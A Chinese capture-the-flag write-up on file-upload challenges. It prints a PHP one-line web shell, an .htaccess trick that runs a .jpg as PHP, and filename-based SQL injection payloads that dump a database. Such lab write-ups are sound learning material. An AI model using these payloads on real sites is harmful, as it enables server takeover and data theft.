目录
一.buuctf:
1.[GXYCTF2019]BabyUpload1
首先尝试上传php文件,果不其然过滤了php后缀名
改后缀名为jpg,发现还是不行
应该是对内容也有所过滤,看了看wp说是对<?过滤(但不知道是怎么猜出来的)
用js引用绕过过滤。
<script language='php'>eval($_POST['v']);</script>
这题似乎只有jpg类型可以上传,其他就连png,gif都不行。
而且需要使用apache的.htaccess漏洞才行,这里贴上学习链接
构造.htaccess文件
<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
注意要用bp修改类型为jpg,不然上传不上去。
根据提示的地址可以得知蚁剑所需网址。注意需删去/upload前(因为默认从html文件夹开始,而且要在之前构造的webshell地方输入123.jpg)
于是蚁剑地址
http://c2fbe8b1-488f-4e22-82ab-62bd58f971de.node4.buuoj.cn:81/upload/a26dffe4b947722dd25cc1c2122f3280/123.jpg
在根目录找到flag
2.[ACTF2020 新生赛]Upload1
这道题对比上道还行,尝试直接上传php类型文件发现不行
于是上传jpg文件抓包改后缀名。直接php被过滤不行,那就改php1,php2,phtml等成功上传
提示地址,用蚁剑连上获取flag
3.你传你🐎呢
和之前的babyupload差不多,利用阿帕奇的.htaccess漏洞
构造同上.htaccess文件上传(记得抓包改文件类型再上传)
接着构造一句话木马后上传
在根目录找到flag。
二.攻防世界
1.upload1
这提比较简单,构造一句话木马改后抓包上传
最后没在根目录找到flag,在html下找到flag
2.upload
这题结合了sql注入和文件上传,确实是看了大佬的wp才知道怎么做。而且要用到conv函数来返回(因为题目过滤字母回显,而conv能返回ASCII码来避免过滤)
这里贴上学习链接
a' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
最后构造的是这样的文件名称,这里hex是将字符串转换为十六进制,注意这里substr函数截取不能太多不然会变成科学计数法。
转换成十六进制后再转为ASCII得到
应该只是一部分,再次构造
a' +(selselectect conv(substr(hex(database()),12,16),16,10))+ '.jpg
拼接得到web_upload库
接下来构造payload查表名
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromominformation_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromominformation_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromominformation_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg
然后查列名
s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'
s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'
查字段值
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
得到flag(不用套任何东西)
!!_@m_Th.e_F!lag
注意:这里判断是否已经取完字符看回显的数字大小,一般比之前的十进制数位数少就说明取完了
三.总结
总的来说简单题目就是构造一句话木马,寻找可行的上传类型,改类型上传,最后用蚁剑。
较难的题目就是使用阿帕奇的.htaccess漏洞,上传.htaccess文件再上传一句话木马,最后用蚁剑。
其他更难的题目就是像攻防世界里upload一样结合了上传和其他知识的题目,那就要结合题目思考了。
附言
文件上传就在这里告一段落,接下来总结一下xss再加上几道例题吧,希望自己不要鸽了。
希望自己不要这么菜吧 _(:з」∠)_ ----L1men2